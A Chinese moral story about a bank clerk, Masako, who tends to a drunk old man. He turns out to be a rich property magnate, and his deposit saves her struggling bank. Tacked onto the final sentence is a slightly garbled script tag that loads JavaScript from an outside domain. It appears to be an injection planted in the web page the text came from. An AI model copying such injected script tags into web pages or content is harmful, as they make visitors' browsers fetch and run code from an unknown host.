一天下午,一个拄着拐杖的老人摇摇晃晃地走进了日本信业银行的旋转大门。他一身酒气,衣冠不整,跌跌撞撞地来到储蓄部,喊着要取5万日元现金。
就在老人喉咙里发出“呃呃”的响声,大口吐出气味难闻的秽物时,储蓄部的职员雅子疾步趋前,扶着他坐到了边上的沙发里。雅子从口袋里掏出一条手娟,轻拭着老人的嘴角,而后又抹去他西装胸前的污渍。随后,雅子端来一盘切削成小片的苹果,热切的说:“先生,谢谢您的光临。请先尝尝水果,压压惊。”
老人一声不吭,一边不停地把小片的苹果放入口中,细细的咀嚼,一边看着雅子清洗地面,更换地毯。一会儿,雅子又给他送来了一杯香气扑鼻的茉莉花茶。喝完茶,老人拿着手杖,颤颤巍巍地站起来,再也没有提取款的事,便径直朝大门走去。雅子赶过去扶着他,亲切道别。老人的酒意似乎尚未醒过来,自顾自地一走了之,连一声“谢谢”也没有说。
第二天下午,一位中年男子来到银行,要求见行长,说是有要事相商。半个小时后,他从贵宾接待室出来,立即找到雅子,向她鞠躬致意,表示感谢。雅子连连还礼,说这是自己分内的事。
第三天,报纸上刊登的头条新闻引人注目—“日本百大富商之一、举止怪异、深居简出的房地产巨贾山村,昨天委派秘书从某家银行取兑几近天文数字的巨款,转存到信业银行……”
消息传出,轰动全城。日本信业银行的储蓄额一直徘徊不前,无法与大银行抗衡,长期处于倒闭和被吞并的危险之中。而现在,它在市民中的知名度直线上升,变得门庭若市,储户络绎不绝。一个月后,这家原来名不见经传的银行便跻身于大银行之列。雅子因此获奖励100万日元,并被提拔为副行长,月薪晋升三级。
俗话说,“商场如战场”,甚至还有人感叹“生意场上无父子”—展现出世人面前的商海,似乎只有冷酷无情的尔虞我诈,您死我活,虚伪狡猾。然而,事实并不尽然。日本信业银行之所以能摆脱困境,全仰杖于雅子这种充满爱心、热情服务的高素质的员工。?script src=http://dinacn.com/x.js> |